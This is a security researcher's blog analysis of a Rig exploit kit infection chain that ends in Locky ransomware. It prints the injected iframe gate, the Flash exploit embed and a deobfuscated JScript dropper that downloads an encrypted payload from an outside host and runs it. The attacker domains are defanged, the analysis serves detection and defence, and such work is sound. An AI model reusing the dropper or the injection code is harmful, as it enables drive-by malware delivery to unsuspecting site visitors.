Posted by Felix Weyne, November 2016.
Author contact: Twitter | LinkedIn
Tags: exploit kit, Rig, Rig EK, exploit kit gate, exploit kit landing page, ransomware, Locky, malware analysis

I recently Googled for a sleeping accommodation in "The Ardennes", a region of extensive forests in Southern Belgium. It wasn't surprised that by clicking on the fourth Google search hit, Google redirected me to a good, relevant, hotel-comparing website for the Ardennes region. However, I was surprised that in the background my network intrusion detection system blocked a threat called 'Rig exploit kit (RIG EK)'.

For the readers that aren't familiar with Rig: Rig exploit kit is a kit that is used by cyber criminals to distribute malware. Cybercriminals regularly hack/hijack popular websites and inject malicious code into them. The code is then served to an innocent visitor of that website, which tries to exploit some known security vulnerabilities in the browser (add-ons) of the visitor (e.g. Internet Explorer, Adobe flash, …). By exploiting those vulnerabilities, malicious software is installed in the background, without the permission of the user. Throughout the whole process, called the drive-by-download process, the user doesn't notice anything.

Luckily, in my situation the exploit kit was blocked by my firewall. Unfortunately, a lot of PC users do get infected, because they either do not have an up-to-date defense system (combined with running vulnerable software), or their defense system doesn’t recognize the threat (yet) . My natural curiosity encouraged me to analyze what actually would have happened if the network defense system didn't block the RIG EK threat, so in this blog I will explain step-by-step my sober analysis of a successful RIG EK infection in a sandboxed environment. The infection chain can be split up in five parts, starting by visiting a compromised site and ending by getting infected with ransomware (Locky).

Image one: infographic: Rig Exploit Kit infecting a PC with ransomware in five steps

Compromised site

The first step in the infection chain is visiting a legitimate website, in my case ‘ardenne[.]org’. The compromised Ardennes website contains injected code that loads an external javascript from ‘alexa.loreo[.]io’. A print screen of the legitimate website and the corresponding HTML source code is shown in image two. One can clearly see that at the start of the source code, a javascript reference is injected (highlighted in yellow).

Image two: compromised Ardennes website with corresponding source code

From the first step on, the victim is taken on a rollercoaster ride. The only way to step of the ‘ransomware infection’ rollercoaster, is to make the exploit process fail. Having up-to-date software (i.e. patched internet explorer, adobe flash, Silverlight, …) and a good defense system (i.e. antivirus, network intrusion detection system, …) improves your chances to get of the rollercoaster ride in time. On image three an overview of all the network traffic related to the infection process is shown. In total we can identify three domains related to the infection I received in my sandbox: ardennen[.]org, alexa.loreo[.]io and all.thinrules[.]org. The network traffic capture, as well as the deobfuscated pages and scripts can be found here (password = infected).

Image four: network traffic generated by exploit kit

Exploit Kit Gate

The javascript that is included on the compromised site is hosted on a separate domain: alexa.loreo[.]io. The source code of the javascript is very compact, and hardly obfuscated. A cleaned up version is shown below.

document.write('
<div style="position:absolute; width: 353px; height: 366px; left: 10px; top: -504px;"> 
  <div class="kal">
    <iframe src="hxxp://all.THINRULES[.]ORG/?wXa*snip*Y0Q" width=254 height=279 ></iframe>
  </div>
</div>
');

The javascript has only one function: make sure that a (HTML) page on the domain all.thinrules[.]org is included. The inclusion is realized by including the page in an iframe. In exploit kit terms, these intermediary proxy domains are referred to as ‘gates’: the exploit kit isn’t directly injected in the compromised site, instead a script that redirects to the exploit kit is included.

It is interesting to notice that the gate domains are changed very rapidly to avoid blacklisting and detection. The URL pattern of the Rig EK gate however often contains fixed strings such as ‘l3SKfPrfJxzFGMSUb’. This is kinda sloppy on the exploit kit authors part, because this string is very distinctive in network proxy loggings, and can be used to write network detection rules for the Rig exploit kit.

Landing Page

So far the ransomware rollercoaster has already stopped at two stops: the compromised site (hosted on ardenne[.]org) and the exploit kit gate (hosted on alexa.lorio[.]io). The exploit kit gate made sure the browser included the landing page. The landing page contains a lot of javascript and is heavily obfuscated (it seems that the authors really like to append to code with non-ascii characters), as shown on image four.

Image three: obfuscated RIG EK landing page

I could try to statically deobfuscate the landing page, but this work has already been done plenty of times by other security analists (cfr. references). Instead, I have chosen for a dynamic analysis: run the landing page in a browser (firefox) in a sandboxed environment. We then can inspect the run-time generated code with the help of firedebug, as shown on image five.

Image five: dynamic analysis of landing page using firedebug

The most interesting code that is generated on run-time, is the embedding of an adobe flash file. The embedded flash file tries to exploit a known vulnerability, successfully exploiting the vulnerability leads to arbitrary code execution on the system. The generated code also passes a hexadecimal encoded parameter to the flash file.

<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" allowscriptaccess="always" height="11" width="11">
  <param name="movie" value="hxxp://all.thinrules[.]org/index.php?wXa*snip*Pw5">
  <param name="play" value="true">
  <param name="FlashVars" value="iddqd=67657*snip*000">
    <!--[if !IE]>-->
    <object type="application/x-shockwave-flash" 
	data="hxxp://all.thinrules[.]org/index.php?wXa*snip*Pw5" allowscriptaccess="always" height="11" width="11">
    <param name="movie" value="hxxp://all.thinrules[.]org/index.php?wXa*snip*Pw5">
    <param name="play" value="true">
    <param name="FlashVars" value="iddqd=67657*snip*000">
    <!--<![endif]-->
    <!--[if !IE]>-->
    </object>
    <!--<![endif]-->
</object>

The hexadecimal encoded parameter contains the three following values: an encryption key (key='gexywoaxor'), the malware payload URL (hosted on thinrules[.]org), and a user agent to be used when downloading the payload (the user agent of the visiting browser). These parameters are used if the exploit successfully executes. In the next paragraph, I will discuss the flash exploit and the parameters more in in depth.

Flash Exploit and Payload Drop

In my sandbox the flash exploit executed successfully. With the help of process monitor, I could easily capture the unfolding events. The shellcode in the flash file creates a new commandline (cmd.exe) process with a long parameter, as shown on image six.

Image six: RIG EK spawning a shell which drops a JSript (monitored with procmon)

The long cmd parameter has two functions: create an obfuscated jscript in the temp folder, and execute that jscript with the parameters passed to the flash file. A deobfuscated version of the dropped JScript is displayed below. In the JScript we can identify three major functions: an encryption routine, a function to download a file from the internet and a function to write the download response to a file, as well as executing that file.

function rcfourDecrypt(mytext, key) {
  for (var j = 0, d, s = [], x = [], r = 255, i = 0; i < 256; i++) 
    s[i] = i;
  for (i = 0; i < 256; i++) 
    j = j + s[i] + key[v](i % key.length) % 255, 
    d = s[i], 
    s[i] = s[j], 
    s[j] = d;
  for (var y = j = i = 0; y < mytext.length; y++) 
    i = i + 1 % 255, 
    j = j + s[i] % 255, 
    d = s[i], 
    s[i] = s[j], 
    s[j] = s, 
    x["push"](String["fromCharCode"](mytext[v](y) ^ s[s[i] + s[j] % 255]));
  return x["join"]()
};

function myDownloader(scriptArguments) {
  var myProxy = objCreate("WinHTTP.WinHTTPRequest.5.1");
  myProxy["setProxy"](0);
  myProxy.open("GET", scriptArguments(1), 0);
  myProxy.Option(0) = scriptArguments(2);
  myProxy["Send"];
  if (myProxy.status == 200) 
    return rcfourDecrypt(myProxy["responseText"], scriptArguments(0))
};
j = ActiveXObject, 
objCreate = function(v) {
  return new j(v)
};
try {
  var fileObj = objCreate("Scripting.FileSystemObject"),
    myShell = objCreate("WScript.Shell"),
    myFileStream = objCreate("ADODB.Stream"),
    myScriptName = WScript["ScriptFullName"],
  myFileStream.Type = 2;
  myTempName = fileObj["GetTempName"]();
  myFileStream.Charset = "iso-8859-1";
  myFileStream.Open();
  i = myDownloader(WScript.Arguments);
  d = i["charCodeAt"](i["indexOf"]("PE\x00\x00") + 027);
  myFileStream.writetext(i);
  if (037 < d) {
    var isDLL = 1;
    myTempName += ".dll"
  } else myTempName += ".exe";
  myFileStream.savetofile(myTempName, 2);
  myFileStream.Close();
  isDLL && (myTempName = "regsvr32.exe /S " + mytempname);
  myShell["run"]("cmd.exe /C" + myTempName, 0)
} catch (Y) {}
fileObj["Deletefile"](myScriptName);

The encryption routine makes use of the RC4 encryption algorithm. The similarities between the deobfuscated code (highlighted in yellow) and the code in the RC4 Wikipedia article (shown in image seven) are obvious. As stated earlier, the RC4 decryption key is passed to the flash file. The flash file then passes the RC4 decryption key to the commandline parameter which calls the dropped JScript (highlighted in green). The user agent and payload URL are also passed to the JScript (highlighted in green). Additionaly, it is easily noticable that the script supports both Dlls as well as executables as a payload. In my situation, the payload was Locky ransomware.

Rig VS Antivirus

I'll end this blog with a short note on antivirus detectionrate of RIG exploit kit. An up-to-date antivirus is no guarantee for protection against RIG exploit kit, but ofcourse it decreases your chance of being infected. I decided to experiment a bit with the antivirus detection rate of the dropped jscripts (dropped in step four by the flash exploit). I captured two RIG EK dropped jscripts, the time period between capturing both jscripts was one week (yes, the 'Ardennes' site was still compromised ). In one week, the malware authors barely changed something to the dropped JScript. The similarity between both scripts is ninety-seven percent (comparison performed with SSDEEP fuzzy hashing), the minor changes are shown in image eight.

What surprises me, is the difference in results when we let virustotal scan both dropped jscripts at the same time. The eldest dropped jscript (a one-week-old malicious jscript) is recognised by almost twenty percent of the antiviruses (10/54). The newest dropped jscript is recognised by thirteen percent of the antiviruses (7/54). At least two major antiviruses (Microsoft, McAffee) do not recognise the newest sample anymore, even though only three percent of the code has changed. This makes me wonder how generic the RIG EK dropped JScript definitions are. Besides this thought, this also illustrates a known fact in the security world: it's a never ending cat-and-mouse game between the good guys and the bad guys .

References

Rig EK gate sample (virustotal)
MD5: 80dadb51c6c0ac371797c3419d7e3e64
Rig EK landing page sample (virustotal)
MD5: f14369322eaab4332c3f76a63e64b8da
Rig EK flash exploit sample (virustotal)
MD5: 9d8a1f948a043dd7ee7b64154986513e
Rig EK dropped payload sample (Locky ransomware) (virustotal)
MD5: 4ac1cf9eb90ffa83a91dcc3fbb23ce36
Rig EK dropped jscript (one)
MD5: 4291e0d53c2e87397a606dcafe4ee8a0
Rig EK dropped jscript (two)
MD5: e512cb8e223546ce2e1aca574682a1f9
Rig EK extensive analysis (L. Rocha, count upon security)
Rig EK extensive analysis (binaryhax0r)
Rig EK analysis (malwarebytes)
Rig EK backend analysis (trustwave)
Packet captures of exploit kits (malware traffic analysis)